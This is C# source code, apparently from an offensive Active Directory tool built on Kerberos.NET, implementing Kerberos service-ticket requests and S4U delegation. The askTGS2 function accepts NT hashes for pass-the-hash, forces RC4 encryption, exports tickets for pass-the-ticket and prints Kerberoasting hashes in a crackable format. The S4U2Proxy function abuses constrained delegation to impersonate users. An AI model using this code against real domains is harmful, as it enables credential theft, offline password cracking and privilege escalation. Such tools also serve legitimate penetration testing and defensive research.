public void ValidateS4uSelf()
{
RetrieveS4u(out KrbTgsReq tgsReq, out KrbEncTicketPart krbtgt);
var sessionKey = krbtgt.Key;
var paForUserPaData = tgsReq.PaData.FirstOrDefault(pa => pa.Type == PaDataType.PA_FOR_USER);
Assert.IsNotNull(paForUserPaData);
var paForUser = KrbPaForUser.Decode(paForUserPaData.Value);
paForUser.ValidateChecksum(sessionKey.AsKey());
}
public void ValidateS4uSelf_Modified()
{
RetrieveS4u(out KrbTgsReq tgsReq, out KrbEncTicketPart krbtgt);
var sessionKey = krbtgt.Key;
var paForUserPaData = tgsReq.PaData.FirstOrDefault(pa => pa.Type == PaDataType.PA_FOR_USER);
Assert.IsNotNull(paForUserPaData);
var paForUser = KrbPaForUser.Decode(paForUserPaData.Value);
paForUser.UserName = KrbPrincipalName.FromString("*****@*****.**");
paForUser.ValidateChecksum(sessionKey.AsKey());
}
//TODO...
//askTGS with TGT kirbi
public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
string username,
string password,
string domainName,
string spn,
bool isUnconstrained = false,
bool outKirbi = false,
bool verbose = false,
bool kerberoast = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT,
bool outfile = false,
string srvName = null,
string tgsHash = null,
EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
)
{
var now = DateTime.Now;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk |
KdcOptions.Canonicalize;
string s4u = null;
KrbTicket s4uTicket = null;
KrbTicket u2uServerTicket = null;
if (isUnconstrained)
{
spn = $"krbtgt/{domainName}";
kdcOptions |= KdcOptions.Forwarded;
}
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions |= KdcOptions.ConstrainedDelegation;
additionalTickets.Add(rst.S4uTicket);
}
var body = new KrbKdcReqBody
{
//Specify RC4 as the only supported EType
EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = rst.CNameHint
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.BranchAware
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP ...");
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
}
var returnFlag = TicketFlags.Anonymous;
try
{
//TGS-REP Enc-Part
//https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
returnFlag = tgsDecryptedRepPart.Flags;
if (!string.IsNullOrEmpty(tgsHash))
{
//=========================================
//TGS Tiket Enc-Part
//Service account Cred
var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);
//TGS-REQ Ticket Enc-Part
KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
(kerbCred2.CreateKey(),
KeyUsage.Ticket,
(ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));
Console.WriteLine(" * [Decrypted Ticket Enc-Part]:");
PrintFunc.PrintTicketEnc(ticketDecrypted);
//=========================================
}
}
if (outKirbi || outfile)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
if (outKirbi)
{
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
if (outfile)
{
Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
}
}
}
catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
if (kerberoast)
{
//Kerberoasting
var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
}
return(returnFlag);
}
//S4U2Proxy
//[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
//The KDC checks if the security principal name(SPN) for Service 2,
//identified in the sname and srealm fields of the KRB_TGS_REQ message,
//is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
//If it is, then the KDC replies with a service ticket for Service 2.
//Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
KrbTgsRep s4u2self,
string username,
string password,
string domainName,
string impersonateuser,
string spn,
bool outKirbi = false,
bool verbose = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT)
{
var now = DateTime.UtcNow;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = password != null ?
new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d)) :
new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk;
string s4u = null;
KrbTicket s4uTicket = s4u2self.Ticket;
KrbTicket u2uServerTicket = null;
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;
additionalTickets.Add(rst.S4uTicket);
}
//EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
string[] name = { };
var body = new KrbKdcReqBody
{
EType = KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = name
},
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.ResourceBasedConstrainedDelegation
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");
try
{
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
}
if (outKirbi)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
}catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
}
